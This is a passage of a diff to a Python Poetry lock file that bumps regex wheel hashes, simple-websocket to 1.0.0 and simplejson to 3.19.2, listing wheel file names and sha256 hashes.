"sha256:69c0771ca5653c7d4b65203cbfc5e66db9375f1078689459fe196fe08b7b4930"}, + {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ac965a998e1388e6ff2e9781f499ad1eaa41e962a40d11c7823c9952c77123e"}, + {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1c0e8fae5b27caa34177bdfa5a960c46ff2f78ee2d45c6db15ae3f64ecadde14"}, + {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6c56c3d47da04f921b73ff9415fbaa939f684d47293f071aa9cbb13c94afc17d"}, + {file = "regex-2023.10.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ef1e014eed78ab650bef9a6a9cbe50b052c0aebe553fb2881e0453717573f52"}, + {file = "regex-2023.10.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d29338556a59423d9ff7b6eb0cb89ead2b0875e08fe522f3e068b955c3e7b59b"}, + {file = "regex-2023.10.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:9c6d0ced3c06d0f183b73d3c5920727268d2201aa0fe6d55c60d68c792ff3588"}, + {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:994645a46c6a740ee8ce8df7911d4aee458d9b1bc5639bc968226763d07f00fa"}, + {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:66e2fe786ef28da2b28e222c89502b2af984858091675044d93cb50e6f46d7af"}, + {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:11175910f62b2b8c055f2b089e0fedd694fe2be3941b3e2633653bc51064c528"}, + {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:06e9abc0e4c9ab4779c74ad99c3fc10d3967d03114449acc2c2762ad4472b8ca"}, + {file = "regex-2023.10.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:fb02e4257376ae25c6dd95a5aec377f9b18c09be6ebdefa7ad209b9137b73d48"}, + {file = "regex-2023.10.3-cp39-cp39-win32.whl", hash = "sha256:3b2c3502603fab52d7619b882c25a6850b766ebd1b18de3df23b2f939360e1bd"}, + {file = "regex-2023.10.3-cp39-cp39-win_amd64.whl", hash = "sha256:adbccd17dcaff65704c856bd29951c58a1bd4b2b0f8ad6b826dbd543fe740988"}, + {file = "regex-2023.10.3.tar.gz", hash = "sha256:3fef4f844d2290ee0ba57addcec17eec9e3df73f10a2748485dfd6a3a188cc0f"}, ] [[package]] @@ -2342,110 +2353,126 @@ testing-integration = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "jar [[package]] name = "simple-websocket" -version = "0.10.1" +version = "1.0.0" description = "Simple WebSocket server and client for Python" optional = false python-versions = ">=3.6" files = [ - {file = "simple-websocket-0.10.1.tar.gz", hash = "sha256:0ab46c8ffa51a46dc95eed94608b3b722841c0bf849def71d465c5c356679c82"}, - {file = "simple_websocket-0.10.1-py3-none-any.whl", hash = "sha256:62c36bacfd75cc867927bb39d91951342a7234bdfe20f41dd969a3b8bb1413b7"}, + {file = "simple-websocket-1.0.0.tar.gz", hash = "sha256:17d2c72f4a2bd85174a97e3e4c88b01c40c3f81b7b648b0cc3ce1305968928c8"}, + {file = "simple_websocket-1.0.0-py3-none-any.whl", hash = "sha256:1d5bf585e415eaa2083e2bcf02a3ecf91f9712e7b3e6b9fa0b461ad04e0837bc"}, ] [package.dependencies] wsproto = "*" +[package.extras] +docs = ["sphinx"] + [[package]] name = "simplejson" -version = "3.19.1" +version = "3.19.2" description = "Simple, fast, extensible JSON encoder/decoder for Python" optional = false python-versions = ">=2.5, !=3.0.*, !=3.1.*, !=3.2.*" files = [ - {file = "simplejson-3.19.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:412e58997a30c5deb8cab5858b8e2e5b40ca007079f7010ee74565cc13d19665"}, - {file = "simplejson-3.19.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e765b1f47293dedf77946f0427e03ee45def2862edacd8868c6cf9ab97c8afbd"}, - {file = "simplejson-3.19.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:3231100edee292da78948fa0a77dee4e5a94a0a60bcba9ed7a9dc77f4d4bb11e"}, - {file = "simplejson-3.19.1-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:081ea6305b3b5e84ae7417e7f45956db5ea3872ec497a584ec86c3260cda049e"}, - {file = "simplejson-3.19.1-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:f253edf694ce836631b350d758d00a8c4011243d58318fbfbe0dd54a6a839ab4"}, - {file = "simplejson-3.19.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:5db86bb82034e055257c8e45228ca3dbce85e38d7bfa84fa7b2838e032a3219c"}, - {file = "simplejson-3.19.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:69a8b10a4f81548bc1e06ded0c4a6c9042c0be0d947c53c1ed89703f7e613950"}, - {file = "simplejson-3.19.1-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:58ee5e24d6863b22194020eb62673cf8cc69945fcad6b283919490f6e359f7c5"}, - {file = "simplejson-3.19.1-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:73d0904c2471f317386d4ae5c665b16b5c50ab4f3ee7fd3d3b7651e564ad74b1"}, - {file = "simplejson-3.19.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:66d780047c31ff316ee305c3f7550f352d87257c756413632303fc59fef19eac"}, - {file = "simplejson-3.19.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:cd4d50a27b065447c9c399f0bf0a993bd0e6308db8bbbfbc3ea03b41c145775a"}, - {file = "simplejson-3.19.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0c16ec6a67a5f66ab004190829eeede01c633936375edcad7cbf06d3241e5865"}, - {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:17a963e8dd4d81061cc05b627677c1f6a12e81345111fbdc5708c9f088d752c9"}, - {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7e78d79b10aa92f40f54178ada2b635c960d24fc6141856b926d82f67e56d169"}, - {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ad071cd84a636195f35fa71de2186d717db775f94f985232775794d09f8d9061"}, - {file = "simplejson-3.19.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e7c70f19405e5f99168077b785fe15fcb5f9b3c0b70b0b5c2757ce294922c8c"}, - {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54fca2b26bcd1c403146fd9461d1da76199442297160721b1d63def2a1b17799"}, - {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:48600a6e0032bed17c20319d91775f1797d39953ccfd68c27f83c8d7fc3b32cb"}, - {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:93f5ac30607157a0b2579af59a065bcfaa7fadeb4875bf927a8f8b6739c8d910"}, - {file = "simplejson-3.19.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b79642a599740603ca86cf9df54f57a2013c47e1dd4dd2ae4769af0a6816900"}, - {file = "simplejson-3.19.1-cp310-cp310-win32.whl", hash = "sha256:d9f2c27f18a0b94107d57294aab3d06d6046ea843ed4a45cae8bd45756749f3a"}, - {file = "simplejson-3.19.1-cp310-cp310-win_amd64.whl", hash = "sha256:5673d27806085d2a413b3be5f85fad6fca4b7ffd31cfe510bbe65eea52fff571"}, - {file = "simplejson-3.19.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:79c748aa61fd8098d0472e776743de20fae2686edb80a24f0f6593a77f74fe86"}, - {file = "simplejson-3.19.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:390f4a8ca61d90bcf806c3ad644e05fa5890f5b9a72abdd4ca8430cdc1e386fa"}, - {file = "simplejson-3.19.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d61482b5d18181e6bb4810b4a6a24c63a490c3a20e9fbd7876639653e2b30a1a"}, - {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2541fdb7467ef9bfad1f55b6c52e8ea52b3ce4a0027d37aff094190a955daa9d"}, - {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46133bc7dd45c9953e6ee4852e3de3d5a9a4a03b068bd238935a5c72f0a1ce34"}, - {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f96def94576f857abf58e031ce881b5a3fc25cbec64b2bc4824824a8a4367af9"}, - {file = "simplejson-3.19.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f14ecca970d825df0d29d5c6736ff27999ee7bdf5510e807f7ad8845f7760ce"}, - {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:66389b6b6ee46a94a493a933a26008a1bae0cfadeca176933e7ff6556c0ce998"}, - {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:22b867205cd258050c2625325fdd9a65f917a5aff22a23387e245ecae4098e78"}, - {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:c39fa911e4302eb79c804b221ddec775c3da08833c0a9120041dd322789824de"}, - {file = "simplejson-3.19.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:65dafe413b15e8895ad42e49210b74a955c9ae65564952b0243a18fb35b986cc"}, - {file = "simplejson-3.19.1-cp311-cp311-win32.whl", hash = "sha256:f05d05d99fce5537d8f7a0af6417a9afa9af3a6c4bb1ba7359c53b6257625fcb"}, - {file = "simplejson-3.19.1-cp311-cp311-win_amd64.whl", hash = "sha256:b46aaf0332a8a9c965310058cf3487d705bf672641d2c43a835625b326689cf4"}, - {file = "simplejson-3.19.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b438e5eaa474365f4faaeeef1ec3e8d5b4e7030706e3e3d6b5bee6049732e0e6"}, - {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9d614a612ad02492f704fbac636f666fa89295a5d22b4facf2d665fc3b5ea9"}, - {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46e89f58e4bed107626edce1cf098da3664a336d01fc78fddcfb1f397f553d44"}, - {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96ade243fb6f3b57e7bd3b71e90c190cd0f93ec5dce6bf38734a73a2e5fa274f"}, - {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed18728b90758d171f0c66c475c24a443ede815cf3f1a91e907b0db0ebc6e508"}, - {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6a561320485017ddfc21bd2ed5de2d70184f754f1c9b1947c55f8e2b0163a268"}, - {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:2098811cd241429c08b7fc5c9e41fcc3f59f27c2e8d1da2ccdcf6c8e340ab507"}, - {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:8f8d179393e6f0cf6c7c950576892ea6acbcea0a320838c61968ac7046f59228"}, - {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:eff87c68058374e45225089e4538c26329a13499bc0104b52b77f8428eed36b2"}, - {file = "simplejson-3.19.1-cp36-cp36m-win32.whl", hash = "sha256:d300773b93eed82f6da138fd1d081dc96fbe53d96000a85e41460fe07c8d8b33"}, - {file = "simplejson-3.19.1-cp36-cp36m-win_amd64.whl", hash = "sha256:37724c634f93e5caaca04458f267836eb9505d897ab3947b52f33b191bf344f3"}, - {file = "simplejson-3.19.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:74bf802debe68627227ddb665c067eb8c73aa68b2476369237adf55c1161b728"}, - {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:70128fb92932524c89f373e17221cf9535d7d0c63794955cc3cd5868e19f5d38"}, - {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8090e75653ea7db75bc21fa5f7bcf5f7bdf64ea258cbbac45c7065f6324f1b50"}, - {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a755f7bfc8adcb94887710dc70cc12a69a454120c6adcc6f251c3f7b46ee6aac"}, - {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ccb2c1877bc9b25bc4f4687169caa925ffda605d7569c40e8e95186e9a5e58b"}, - {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:919bc5aa4d8094cf8f1371ea9119e5d952f741dc4162810ab714aec948a23fe5"}, - {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:e333c5b62e93949f5ac27e6758ba53ef6ee4f93e36cc977fe2e3df85c02f6dc4"}, - {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3a4480e348000d89cf501b5606415f4d328484bbb431146c2971123d49fd8430"}, - {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:cb502cde018e93e75dc8fc7bb2d93477ce4f3ac10369f48866c61b5e031db1fd"}, - {file = "simplejson-3.19.1-cp37-cp37m-win32.whl", hash = "sha256:f41915a4e1f059dfad614b187bc06021fefb5fc5255bfe63abf8247d2f7a646a"}, - {file = "simplejson-3.19.1-cp37-cp37m-win_amd64.whl", hash = "sha256:3844305bc33d52c4975da07f75b480e17af3558c0d13085eaa6cc2f32882ccf7"}, - {file = "simplejson-3.19.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:1cb19eacb77adc5a9720244d8d0b5507421d117c7ed4f2f9461424a1829e0ceb"}, - {file = "simplejson-3.19.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:926957b278de22797bfc2f004b15297013843b595b3cd7ecd9e37ccb5fad0b72"}, - {file = "simplejson-3.19.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b0e9a5e66969f7a47dc500e3dba8edc3b45d4eb31efb855c8647700a3493dd8a"}, - {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79d46e7e33c3a4ef853a1307b2032cfb7220e1a079d0c65488fbd7118f44935a"}, - {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:344a5093b71c1b370968d0fbd14d55c9413cb6f0355fdefeb4a322d602d21776"}, - {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:23fbb7b46d44ed7cbcda689295862851105c7594ae5875dce2a70eeaa498ff86"}, - {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3025e7e9ddb48813aec2974e1a7e68e63eac911dd5e0a9568775de107ac79a"}, - {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:87b190e6ceec286219bd6b6f13547ca433f977d4600b4e81739e9ac23b5b9ba9"}, - {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:dc935d8322ba9bc7b84f99f40f111809b0473df167bf5b93b89fb719d2c4892b"}, - {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:3b652579c21af73879d99c8072c31476788c8c26b5565687fd9db154070d852a"}, - {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6aa7ca03f25b23b01629b1c7f78e1cd826a66bfb8809f8977a3635be2ec48f1a"}, - {file = "simplejson-3.19.1-cp38-cp38-win32.whl", hash = "sha256:08be5a241fdf67a8e05ac7edbd49b07b638ebe4846b560673e196b2a25c94b92"}, - {file = "simplejson-3.19.1-cp38-cp38-win_amd64.whl", hash = "sha256:ca56a6c8c8236d6fe19abb67ef08d76f3c3f46712c49a3b6a5352b6e43e8855f"}, - {file = "simplejson-3.19.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:6424d8229ba62e5dbbc377908cfee9b2edf25abd63b855c21f12ac596cd18e41"}, - {file = "simplejson-3.19.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:547ea86ca408a6735335c881a2e6208851027f5bfd678d8f2c92a0f02c7e7330"}, - {file = "simplejson-3.19.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:889328873c35cb0b2b4c83cbb83ec52efee5a05e75002e2c0c46c4e42790e83c"}, - {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44cdb4e544134f305b033ad79ae5c6b9a32e7c58b46d9f55a64e2a883fbbba01"}, - {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc2b3f06430cbd4fac0dae5b2974d2bf14f71b415fb6de017f498950da8159b1"}, - {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d125e754d26c0298715bdc3f8a03a0658ecbe72330be247f4b328d229d8cf67f"}, - {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:476c8033abed7b1fd8db62a7600bf18501ce701c1a71179e4ce04ac92c1c5c3c"}, - {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:199a0bcd792811c252d71e3eabb3d4a132b3e85e43ebd93bfd053d5b59a7e78b"}, - {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:a79b439a6a77649bb8e2f2644e6c9cc0adb720fc55bed63546edea86e1d5c6c8"}, - {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:203412745fed916fc04566ecef3f2b6c872b52f1e7fb3a6a84451b800fb508c1"}, - {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5ca922c61d87b4c38f37aa706520328ffe22d7ac1553ef1cadc73f053a673553"}, - {file = "simplejson-3.19.1-cp39-cp39-win32.whl", hash = "sha256:3e0902c278243d6f7223ba3e6c5738614c971fd9a887fff8feaa8dcf7249c8d4"}, - {file = "simplejson-3.19.1-cp39-cp39-win_amd64.whl", hash = "sha256:d396b610e77b0c438846607cd56418bfc194973b9886550a98fd6724e8c6cfec"}, - {file = "simplejson-3.19.1-py3-none-any.whl", hash = "sha256:4710806eb75e87919b858af0cba4ffedc01b463edc3982ded7b55143f39e41e1"}, - {file = "simplejson-3.19.1.tar.gz", hash = "sha256:6277f60848a7d8319d27d2be767a7546bc965535b28070e310b3a9af90604a4c"}, + {file = "simplejson-3.19.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3471e95110dcaf901db16063b2e40fb394f8a9e99b3fe9ee3acc6f6ef72183a2"}, + {file = "simplejson-3.19.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:3194cd0d2c959062b94094c0a9f8780ffd38417a5322450a0db0ca1a23e7fbd2"}, + {file = "simplejson-3.19.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:8a390e56a7963e3946ff2049ee1eb218380e87c8a0e7608f7f8790ba19390867"}, + {file = "simplejson-3.19.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:1537b3dd62d8aae644f3518c407aa8469e3fd0f179cdf86c5992792713ed717a"}, + {file = "simplejson-3.19.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:a8617625369d2d03766413bff9e64310feafc9fc4f0ad2b902136f1a5cd8c6b0"}, + {file = "simplejson-3.19.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:2c433a412e96afb9a3ce36fa96c8e61a757af53e9c9192c97392f72871e18e69"}, + {file = "simplejson-3.19.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:f1c70249b15e4ce1a7d5340c97670a95f305ca79f376887759b43bb33288c973"}, + {file = "simplejson-3.19.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:287e39ba24e141b046812c880f4619d0ca9e617235d74abc27267194fc0c7835"}, + {file = "simplejson-3.19.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6f0a0b41dd05eefab547576bed0cf066595f3b20b083956b1405a6f17d1be6ad"}, + {file = "simplejson-3.19.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2f98d918f7f3aaf4b91f2b08c0c92b1774aea113334f7cde4fe40e777114dbe6"}, + {file = "simplejson-3.19.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7d74beca677623481810c7052926365d5f07393c72cbf62d6cce29991b676402"}, + {file = "simplejson-3.19.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7f2398361508c560d0bf1773af19e9fe644e218f2a814a02210ac2c97ad70db0"}, + {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ad331349b0b9ca6da86064a3599c425c7a21cd41616e175ddba0866da32df48"}, + {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:332c848f02d71a649272b3f1feccacb7e4f7e6de4a2e6dc70a32645326f3d428"}, + {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25785d038281cd106c0d91a68b9930049b6464288cea59ba95b35ee37c2d23a5"}, + {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18955c1da6fc39d957adfa346f75226246b6569e096ac9e40f67d102278c3bcb"}, + {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:11cc3afd8160d44582543838b7e4f9aa5e97865322844b75d51bf4e0e413bb3e"}, + {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:b01fda3e95d07a6148702a641e5e293b6da7863f8bc9b967f62db9461330562c"}, + {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:778331444917108fa8441f59af45886270d33ce8a23bfc4f9b192c0b2ecef1b3"}, + {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9eb117db8d7ed733a7317c4215c35993b815bf6aeab67523f1f11e108c040672"}, + {file = "simplejson-3.19.2-cp310-cp310-win32.whl", hash = "sha256:39b6d79f5cbfa3eb63a869639cfacf7c41d753c64f7801efc72692c1b2637ac7"}, + {file = "simplejson-3.19.2-cp310-cp310-win_amd64.whl", hash = "sha256:5675e9d8eeef0aa06093c1ff898413ade042d73dc920a03e8cea2fb68f62445a"}, + {file = "simplejson-3.19.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ed628c1431100b0b65387419551e822987396bee3c088a15d68446d92f554e0c"}, + {file = "simplejson-3.19.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:adcb3332979cbc941b8fff07181f06d2b608625edc0a4d8bc3ffc0be414ad0c4"}, + {file = "simplejson-3.19.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:08889f2f597ae965284d7b52a5c3928653a9406d88c93e3161180f0abc2433ba"}, + {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef7938a78447174e2616be223f496ddccdbf7854f7bf2ce716dbccd958cc7d13"}, + {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a970a2e6d5281d56cacf3dc82081c95c1f4da5a559e52469287457811db6a79b"}, + {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:554313db34d63eac3b3f42986aa9efddd1a481169c12b7be1e7512edebff8eaf"}, + {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d36081c0b1c12ea0ed62c202046dca11438bee48dd5240b7c8de8da62c620e9"}, + {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a3cd18e03b0ee54ea4319cdcce48357719ea487b53f92a469ba8ca8e39df285e"}, + {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:66e5dc13bfb17cd6ee764fc96ccafd6e405daa846a42baab81f4c60e15650414"}, + {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:972a7833d4a1fcf7a711c939e315721a88b988553fc770a5b6a5a64bd6ebeba3"}, + {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3e74355cb47e0cd399ead3477e29e2f50e1540952c22fb3504dda0184fc9819f"}, + {file = "simplejson-3.19.2-cp311-cp311-win32.whl", hash = "sha256:1dd4f692304854352c3e396e9b5f0a9c9e666868dd0bdc784e2ac4c93092d87b"}, + {file = "simplejson-3.19.2-cp311-cp311-win_amd64.whl", hash = "sha256:9300aee2a8b5992d0f4293d88deb59c218989833e3396c824b69ba330d04a589"}, + {file = "simplejson-3.19.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:b8d940fd28eb34a7084877747a60873956893e377f15a32ad445fe66c972c3b8"}, + {file = "simplejson-3.19.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4969d974d9db826a2c07671273e6b27bc48e940738d768fa8f33b577f0978378"}, + {file = "simplejson-3.19.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c594642d6b13d225e10df5c16ee15b3398e21a35ecd6aee824f107a625690374"}, + {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e2f5a398b5e77bb01b23d92872255e1bcb3c0c719a3be40b8df146570fe7781a"}, + {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:176a1b524a3bd3314ed47029a86d02d5a95cc0bee15bd3063a1e1ec62b947de6"}, + {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3c7363a8cb8c5238878ec96c5eb0fc5ca2cb11fc0c7d2379863d342c6ee367a"}, + {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:346820ae96aa90c7d52653539a57766f10f33dd4be609206c001432b59ddf89f"}, + {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:de9a2792612ec6def556d1dc621fd6b2073aff015d64fba9f3e53349ad292734"}, + {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:1c768e7584c45094dca4b334af361e43b0aaa4844c04945ac7d43379eeda9bc2"}, + {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:9652e59c022e62a5b58a6f9948b104e5bb96d3b06940c6482588176f40f4914b"}, + {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:9c1a4393242e321e344213a90a1e3bf35d2f624aa8b8f6174d43e3c6b0e8f6eb"}, + {file = "simplejson-3.19.2-cp312-cp312-win32.whl", hash = "sha256:7cb98be113911cb0ad09e5523d0e2a926c09a465c9abb0784c9269efe4f95917"}, + {file = "simplejson-3.19.2-cp312-cp312-win_amd64.whl", hash = 